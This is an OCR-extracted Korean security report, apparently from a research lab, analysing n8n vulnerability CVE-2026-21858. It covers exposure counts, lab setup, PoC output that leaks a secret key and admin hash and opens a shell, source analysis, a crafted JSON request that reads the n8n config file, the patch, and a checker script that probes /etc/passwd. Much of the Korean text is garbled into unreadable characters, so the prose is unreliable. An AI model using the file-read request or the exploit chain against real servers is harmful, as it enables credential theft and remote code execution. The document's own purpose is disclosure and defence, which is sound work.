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Host.location.country Count of Hosts Yo

United States 28,085 24.90%

Germany 17,928 15.90%

France 10,448 9.27%

South Korea 9,266 8.22%

Brazil 4656 413%

Singapore 4628 4NM%

India 3,949 3.50%

Netherlands 3164 2.81%

Finland 3121 277%

Vietnam 2794 2.48%

China 2,779 2.47%

a2l 1, 7P A2 (Censys, 2026.02.11)
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olg T |
[sH} ubuntu:22.04 & n8n 1.120.4
(172.17.0.2)
2243} Kali Linux
(17217.0.4)

Step 1. 3 74

O[siXt PC Off n8n #of HE S HX|St0 F & 2HAS F4oICL CVE-2026-21858 F4H HAE dS
figt =71 O|0|X| 5! FoFH HIAE o2 of2 EQSTLab GitHub Repository OflA =telgh &~ QUCY

« URL: https://github.com/EQSTLab/CVE-2026-21858

2Z 2F0l|M m8ixt PC ot #|oF &ES Pttt g BHOZ &7 O|0|X|E EEs 7 &dsict

|_

> git clone https://github.com/EQSTLab/CVE-2026-21858.git
> cd CVE-2026-21858
> docker build -t n8n-vuIn:1.120.4 .

> run.bat

n8n A7t MMM I|siXt PC 2 http://localhost:9000/setup Ol HZ2sto] Zt2|xt AEHS MATICE.

® localhost:9000/setup B &

oo{3 n8n

Set up owner account

Email *

First Name *

a3 3. 2R A 4y
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HE[R} AR IZZRE YTt

c @ localhost:9000/home/workflows G W - @

Overview oo

All the workflows, credentials and data tables you have access to

Prod. executions Failed prod. executions Failure rate Time saved Run time (avg.)
Last 7 days Last 7 days Last 7 days Last 7 days Last 7 days

0 0 0% © Os

Workflows Credentials Executions Variables Data tables

47 Welcome EQST!

Create your first workflow

workflow.txt 2| L= JSON 2 {IZ220| 20 d1, IZERE Active &EHE ThoiC) i

IEERE & EZHE Sl 2f AEAP MUS Y=RLSHH, 0| HAE=Z Helslo] SHSH=E
TZ&0|ct.

@ localhost:9000/workflow/GTnWn5HAYioVaVuz @ ¥r = @
rsonal My workflow +Addtag (% 0/ Active @D | share | Saved

Editor Executions Evaluations

CICHESE

On form submission? Extract from Filel Form1

Extract From Text File Form Ending

EQST insight | 4



On form submission1 ==& C 222610 Production URL 2 =tQISHC},

© localhost9000/workflow/GTnWn5H4YioV8Vuz/fod6fs

E On form submission1

Parameters Settings Docs &
a
*  Form URLs
Test URL Production URL
Ilin a test form submission
http:fflocalhost:2000/form/ebdb&6d2-60d 2-4610-8
A Execute step 15a-b31ab5f9690f
Authentication
cute this node to vie
will also trigger automatically on new form None or set mock data
jons (but those executions won't show up
Farm Title

here). More info

3zl 6. & E2|# Ho|X] URL

SiE URL o & E2[7 moX[ofM oS H=ES

o =

ddotd 3R, AR MEXS0| AI8Y = UAEF

@ localhost9000/form/ebdb66d2-60d2-46f0-815a-b31ab5f9690f

CVE-Test

file

Form automated with O-O-{__OO nén

H
p2
=
Jja
r
Ja
rin
H
e
g2
(]

or

a7l 7 o A2E 7|
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Step 2. F4H HAE

ZAXt PCOIM Fofd AEZ| ZQIES QI n8n & E2|7 HO|X|E &felstrt.

-

Jocs M Kali Forums o Kali NetHunter Exploit=-DB Google Hacking DB OffSec

CVE-Test

file

[Browse-- | o files selected.

orm automated with OOQ;:' n8n

PoC ZEE CI2ZEst Al

> git clone https://github.com/EQSTLab/CVE-2026-21858.git
> cd CVE-2026-21858

> pip3 install -r requirements.txt

> python3 poc.py

# python3 poc.py

=== n8n RCE Tool Setup ===
Enter Form URL (ex: http://localhost:9000/form/...): http://172.17.0.2:9000/Form/ebdb66d2-60d
2-46f0-815a- b31at|5f969®fl

13l 9.poC A

(&)
r2

E2| EQIE(Entry Point): 2T EO{Lt AJARIO|A SHO| AZtEl= ZIJYH
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nén CVE 858 Asset E
Target: http://172.17.0.2:9000

60d2-4670-815a-b31ab579690f

BN g //172.17.0.2:9000/form-waiting/5)

[>] d1taba5c 5011 e g = = (Taraget: http://172.17.0.2:9000/form-waitina/6)
[+] & & : FINAL_SECRET_KEY = "eaa@22a62d99a49cc71c274111c631729927b94f2a5b7099995a115e33021
: admin_id = "bc65923a-a910-4587-9fbh3-82e4ae90T6cT"

: admin_hash = "ertqdzz9Xxz"

0l BRI M4 JWT 2 RESTAPI S 22011, Y2Z29 I LLES MNE & ICh Au{o] A2
HYS WY A £ Q

= Execute Command =EE X7} n8n Aol &

EEE

=== n8n Shell Ready ===
n8n-shell> id

33 1M.RCE
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CHAMOR HHESICL [ 7R]0AM= =0 RAUX| LotEn [FAFA AN 2AM] oAM= 2 IEE
Jgoz FotEg EATHT}
(== (=]
=2 2R AAHD n8n 2 HAZICZE AHZASH= HTTP 7(Hte| Xt5 £ HIAHLIFO|Ct 2R0M =
URL 2 28Z ™&5IH n8n 2 0|2 |§§ g2ot LI IIZERE Al 7tSTioh
O[HIE ‘WM of 5 20l
N
rd
L
O[HIE w g2l h o
> N
4 rd
A —00— A ¢ X
S20IHE MH 220|HE N M
Z 0D ’
< A\
32 12. 9% vs. APl 28 W4 %o
AM ALIZ|22| B E2|Hs A= HIFLIZEE 7|8 SESH=s AIEXQIE F SILto|C ANl =2
AAEDN ZH O[5 &4 | I" ot=|0] UCL ol E2|, & EZ|He= AFEX =g flet HTML Form
OIE{H|O|A S H|ZdHH LHEXOZE= multipart/form-data REE 2510 JIZEZEZRE 7is¢ict. a2Lt
23 M2 Al Content- Type 2 49| ABSHA = FILEO| EMSIH, M Lf m EF f[Mo

M7 =l ACt.
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Flof HERl n8n(1120.4) =S 2Mol0] OfEA| M L IjE0| &2 + AASX| ZOH2Lt.

Step 1. Content-Type 0l [}E req.body.files 2 BHAl X}0|

n8n 2 2 HTTP L¥ES £ASHH QK| Content-Type sl M2 MZ CHE IIME 222
KMelstot, ojmf mY HZC HMHEZ AMRE|E= req.body.files 71 MAME|= HHAI0| Content-Type Of 2t
Ehafxict,

835 async function parseRequestBody(

863 const { contentType } = req;

864 if (contentType === "multipart/form-data’ . -
865 (req.bodyyz await parseEor‘méata(r‘eq); a I multlpart"a' 3% parseFormData() oM =5
866 } else {

867 if (nodeVersion > 1) {

868 if (

869 contentType?.startsWith('application/json') ||

870 contentType?.startsWith('text/plain’) ||

871 contentType?.startsWith('application/x-www-form-urlencoded') ||

872 contentType?.endsWith('/xml') ||

873 contentType?.endsWith('+xml')

:;: ) await parseBody(req); /1 3 2|2 Et2 parseBody()E Sdll req.body?t X
876 }

877 } else {

878 await parseBody(req);

879 }

880 }

881 }

12! 13. Content-Type 86| 7|4t OtM £7]| 2X

(1) d& 28X - multipart/form-data

= Ez[Ho HaFHo=zZ FE O0[HHE H®ESHH multipart/form-data 2 80| S0{MH,
parseFormData()7t SZEICt. parseFormData()= formidable IIAME ol RZE TIAS A A
AEZ(/tmp/<random-id>)0f| XMZ&st, O HZE req.body.files['field-0'].filepath 2 AN TICE,

Content-Type ol A2 E OhA

a2l 14. M4 QA M reqg.body.files MM 2

% Y SENM= filepath 7F MHOM ddot (Al =22 0FEILE AMEXE Yolel 22 i F=E
XEg + it
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(2) ==l 88 - application/json

34X E EZ|HE E3t QHFQl Content-Type & application/json 2 =IX6HH n8n

parseBody()2 = =35l0] 22 JSON 2 1HZ req.body Z AESPICL O] IMHOM 220 files +X

ZESHH, req.body.files['field-0'].filepath 7} JSON O] E&t=l 2t Oci=2 AM=ICt,

Content-Type YUt 2F OHA
files

Request

{

abc": ".."

I}

"files™: "..."

}

a2l 15, =XE QX Al reg.body.files MM 2

2t ZZXb= Of2h GIAME filepath Off MH 2Z MY Z2E

ikl

¥ x4 Uk

Request

Pretiy Raw Hex

[P0ST /form/ehbdbEcdl-E042-46£0-815a-h3lab5£9650f HITP/1. 1| [f Form Trigger elExolE
Host: localhost:5000

Content-Length: SI

sec—ch-ua-platform: "Windows"

Accept-Langquage: ko-ER, ko;g=0_59

sec—ch-ua: "Chromiwm" ;w="143", "Not A(Brand";w="I4"

[Content-Type: applicacion/json| [f multipart/form-data = application/json

sec—ch-ua-mobile: YU

[N

J ey

W0

Safari/f537.36
10 Accept: */%
11 Origin: http: /S localhost: 2000
12 Bec-Fetch-5ite: same-origin
1% Bec-Fetch-Mode: cors
14 Sec-Fetch-Dest: enpty
S Referer: http:/flocalhost: 2000/ form/ehdbeedl-e0d2-46£f0-815a-h31labsE9590F
1t Accept-Encoding: gzip, deflate, br

15 {

20 "files":{

21 "field-0":{

22 "filepath": " home/nin/ nin/config" |||I||II JSON E'E‘
23 1

24 1

250}

332! 16. application/json 2HE E3t files LS ZZ} 0|A|

x5, zxE 98 SS0IME A} filepath B Yolo] 22 THY F22 AFY 4 At

o
—
=
=

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4) AppleWebFit/537.38 (FHTHML, like Geck:
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Step 2. E2|7 4'8 7|ED Content-Type 2| SUX|

EMle E E2|/H Q0| E0{2EH n8n 2 29| Content-Type S 7|FQZ 0|2 THHSIX| Qb=Ct. CHAI
28 URL(/form/<uuid>)2 7|22 Me| 22X ZH™oiCt

26 export class WebhookService {

341 async runWebhook(
360
361 const context = new WebhookContext( o 4
362 workflow, /| context0]] #xH AT U=
33 node, /| 92ERS, b, Y BE S 32 vy
364 additionalData,
365 mode,
366 webhookData,
367 [1,
368 runExecutionData ?? null,
369 );
2:? return nodeType instanceof Node N -?HIH nodeType - FormTriggerVZ
H OIL- StA 5=
372 ? await nodeTvpe webhook(context) /1 k2t FormTrlggerVZOH webhook() g+ 28
373 I??await nodeType.webhook.call(context)) as INebhookResponseData);I
374 }
375}

17. Content-Type 2} 228t FormTriggerv2 & 1HH

= QAN 22 mMA2 Content-Type Off 2} H2tX|X|2t X{2| 2ZI2 Content-Type 0| OL|2F URL 7|t
Eg|Aq AY Zn2 ZFECL o] A= R0 X7t application/json 22 req.body.files['field-
h

O'lfilepath & ZeIHE, Mt E Ea7 o8 Ha|s a3t
207 export class FormTriggerV2 implements INodeType {
208 description: INodeTypeDescription;
209
218 constructor(baseDescription: INodeTypeBaseDescription) {
211 this.description = {
212 ...baseDescription,
213 ...descriptionv2,
214 };
215 } /] FormTriggerV2.webhook()2 formWebhook() 2& 7S Bzt
216
217 async webhook(this: IWebhookFunctions) {
218 return await formWebhook(this);
219 }
220}
a3 18. & E2|7 M2| 25 43 (formWebhook)
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Step 3.filepath 2|2 Qlst 2 mel @9l

E Ez2|H Q88 Kz2| Al, prepareFormReturnitem() &4+2 & 228 returnltem Of XZstn, 0O|F
IEZ 0N AL

502 export async function formWebhook(

612 if (useWorkflowTimezone === undefined && node.typeVersion > 2) {

613 useWorkflowTimezone = true;

o } /| #%H JSON HAlZ E &Alo| JSON HEZ gt

616 I const returnltem = await prepareFormReturnItem(context, formFields, mode, useWor‘k'FlowTimezone);I

617

618 return {

619 webhookResponse: { status: 260 }, 3 -
S| AtEHRE 2 H}3

620 workflowData: [[returnItem]], /1 '8etE ZoHJSON)2H EIRE 2005 et

621 };

622 }

Jg 19. £ =gk 9 11 f|o|E| HE X2| (prepareFormReturnitem)

prepareFormReturnitem()2 QX =220|M data 2 files & F=si6] E EzZ[H 2 KNz
ZIHreturnltem)2 FASICE O] IFHOIM files 7 multipart/form-data TtAZF MASH ZHOIX| (B
SIOISIX| Qf=C} Chard| "E E2|HE S0{2 QXO0|2HH multipart/form-data Q&Y Z" ol2t= FH|
stofl X 2|gtct.

349  export async function prepareFormReturnItem(

350 context: IWebhookFunctions, N data > Hl E| A E z*r
351 formFields: FormFieldsParameter,
352 mode: 'test' "production’ . . . .
= .l procuction // files > 2F IHY 9| filepath, originalFilename S
353 uselWorkflowTimezone: boolean = false, ol
Y |Et GO E]
354 ) {
355 const bodyData = (context.getBodyData().data as IDataObject) ?? {};
356 const files = (context.getBodyData().files as IDataObject) ?? {};
357

gl 20.files M| == 5 gt

2t SAXE7E application/json REOZ FSH req.body.files['field-0.filepath = H& AZC
ool M 222 7HRE|H, o| oY =ANA] 220 aciZ MEE - UCH
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Step 4. YIE=L 70| ME OjA &

¢ EHAOIM F=Z=E TS returnitem O SAEICH O|EA| MMEl returnitem 2 0Ol fIAEELR

349 export async function prepareFormReturnItem(

386
387 const entryIndex = Number(key.replace(/field-/g, "'));
388 const fieldLabel = isNaN(entryIndex) ? key : formFields[entryIndex].fieldLabel;
389
390 let fileCount = 8;
391 for (const file of processFiles) {
392 let binaryPropertyName = fieldLabel.replace(/\W/g, '_');
393
394 if (multifFile) {
395 binaryPropertyName += ~_${fileCount++} ;
. ! /1 file filepatholl Y= Z2 ICH2 THUS 91 2ALE
398 returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
399 file.filepath,
400 file.originalFilename ?? file.newFilename,
401 file.mimetype,
402 );
403 }
404 }
a3 21, 2¥H F=9| mas FA
ator B2} ofzfet 20| filepath 2 AW Lf TAS Jt27l= 2L, n8n AHlE 012 FyHQl ¥zc

o2 005t3 diE MAS SAISHO] ALEelCt.

{
"files":{
"field-0":{
"filepath":"/home/n8n/.n8n/config"
}
}
}
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YAT2L0| YRC WAS B 4 = JI50| ENT P, TARF N 2 LAl LSS
4 Q| Ect. ofefs ZatE

ZZtEl filepath Off 2|8 n8n 2| config ItS| LHEO| =& 2EO0|Ct,

<« c ® localhost9002/form-waiting/171

I { "encryptionKey™: "CHANGE_ME_TO_A_LONG_RANDOM_STRING_32PLUS" }l

— n8n encryptionKey

22. MH L5 o LHE0] SE GIOIEZ tketEl Zat oAl
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W LS giot

CVE-2026- 21858 2 2z Qo] 2F QHEIOZ M LR mido| MIZE & U= FANMOZE, A 2F
StAHO| O|Xl= Fgo| i =ACL M2t 6H ™0 =% n8n QUARHAE ZZIHQl Ik MES
(MO Z otg|, JIHIIE ME517| o2 ZARE CHH[$H =71HQl ZTX|7} T RsiCt,

OiX] HH

n8n 1121.0 Of4t

® Hot mjx| e

2025 4 11 & 18 & n8n 7HLEI2 CVE-2026-21858 F2AAA| CHet Hot IHX|E S 7HJUCE SHE THX|Z
EZ HO|HE Wg A ZHZ S| ©, 2FS| Content-Type O AXZ multipart/form-data
HARIX| {2 E S| 2eldt= 2E[0| FIHE|RUCE

packages/nodes-base/nodes/Form/utils/utils.ts It22| prepareFormReturnitem() g0A 0|2
groleh = QUCL oiE mX|7t MEE 2H0M= REHE OBV o H2 FEZ dYE= I X7t

HY SHEE=, = FAHE St SH2 2EHCE AHEL

s/nodes-base/nodes /Form/utilsfutils. ts I,’_[;] "

export async function prepareFormReturnIitem(
context: IWebhookFunctions,
formFields: FormFieldsParameter,
mode: 'test' | 'production’,
usellorkflowTimezone: hoolean = false,
3 1
+ const req = context.getRequestObject() as MultiPartFormData.Reguest;
a.ok{reg.contentType === "multipart/form-data®, 'Expected multipart/form-data');
const bodyData = {context.getBodyData().data a= IDatabbject) 7 {};

const files = (context.getBodyDatal).files as IDatalbject) 27 {};

13 23.CVE-2026-21858 &9t XX| LfE
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T gz Y HAE IE HHO| Content-Type #E ZXS i X0 RARH FAFHO
W SE=S
o =

s/nodes-basesnodes/Webhook /Webhook . node . ts [E] :

@@ -12,6 +12,7 @@ import type {
INodeProperties,
T from "nEn-workftlow';
import { BIMARY_EMCODING, MNodeQperationErraor, Mode } from "n@n-workflow';
+ import * az a from "node:assert’;
import { pipeline } from 'stream/promises”;
import { file as tmpFile } from 'tmp-promise”;

import { w4 as uuid } from ‘uuid';
@ -316,6 +317,7 @2 export class Webhook extends Mode {

preparefutput: (data: IModeExecutionData) =» INodeExecutionDatal]l[],
|

const req = context.getRequestObject() as MultiPartFormData.Request;
+ a.ok{req.contentType === "multipart/form-data', "Expected multipart/form-data'};
const options = context.getNodeParameter("options®, {}) as IDataDbject;

const { data, files } = req.body;

12l 24, Webhook E Content-Type &S %7}

© Eot ojX] HE0| of2{2 32

stAo| H|etoZ ZZXQl IiX|7t of2{ AR, 22 HUH(Attack Surface)2 %|A3617| QI8 CHEt
=

2L E E2i =CUb ZEE YSBERSES S| HPHL oot Sk So| HAE 2Hoz MuE
AaB29Ut 28 HHO| Q02 Wob T NYHOE OSSN UTE AN MM st o]
Hi2rsfetct
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2) =EE AF HFUE Z=t

E2|H LE0| Basic Auth EE= Header 7|t Q1=S XE8{0} SHC Q&S 1= MEHJ} ESHE|X| Qe
QIE HTTP QY2 = R IZ=2R7t HAHEX| oA thie = RUCH

OUTPUT

2 On form submission

Parameters Settings Docs &

»

~  Form URLs

Test URL Production URL

http://127.0.0.1:9000/form-test/1d7588df-9bd9-
4358-9d87-b9125c8b8807

Authentication :  Fixed Expression

Basic Auth ~

—)1 Basic Auth

None

Title

IJ
o
N
o
N
rie
re
ol
0%
1z
"
A

—

2% 3¢ n8n QUAHAQ| F|oF RS METHA| TEHSP| 2f3l XiSetel HH A3RES 8 + ULt
2 2A3EEE dF 3ZE $Ask= L, Content-Type HFO| WE M| S TEHS 2M5I0
o

o @¥g HLiD, 220 filepath 7|/E
, Content-Type ZA30| HEE|X| 42 #
Peot MEfE THEFSICE

—

n8n 2| /form/ AEZQIEQ| application/json &4l
MEotct ojm M7 @ME JoXoz £8d HR
TICISICH BiCHE Q™ME HESICHH |7t M8

—

19 M
g
0> mot
i
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import requests

def check_n8n_vulnerability():
url = input("Enter n8n Form URL: ").strip()

if "/form/" not in url:
print("[NOTICE] Only ‘/form/' URLs are supported.")

return

try:
res = requests.post(
url,
json={"filepath": "/etc/passwd", "fileName": "test"},
headers={'Content-Type': 'application/json'},

timeout=5

if res.status_code == 200:

print(f"\n[VULNERABLE] {url} (Status: 200)")
else:

print(f"\n[SAFE] {url} (Status: {res.status_code})")

except Exception as e:
print(f"\n[ERROR] {url}: {e}")

if _name__=="_main__":

check_n8n_vulnerability()

== e HIAIXIof mE2p Fef 6 RS EHESICL

Bl ALK] Ao |
[VULNERABLE] S QIABIAE FOfStEE FHA| IfX| = Het =XV} Hast
[SAFE] Hob miX|7F MEEUAL 2B0| HYFo=Z KiChe

[NOTICE] T2l URL 23
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+ NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21858

« n8n GitHub Security: https://github.com/n8n-io/n8n/security

« n8n Docs: https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.form/

« The Hacker News: https://thehackernews.com/2026/01/critical-n8n-vulnerability-cvss-100.html
« CYERA: https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-
execution-in-n8n-cve-2026-21858

« Chocapikk GitHub: https://github.com/Chocapikk/CVE-2026-21858
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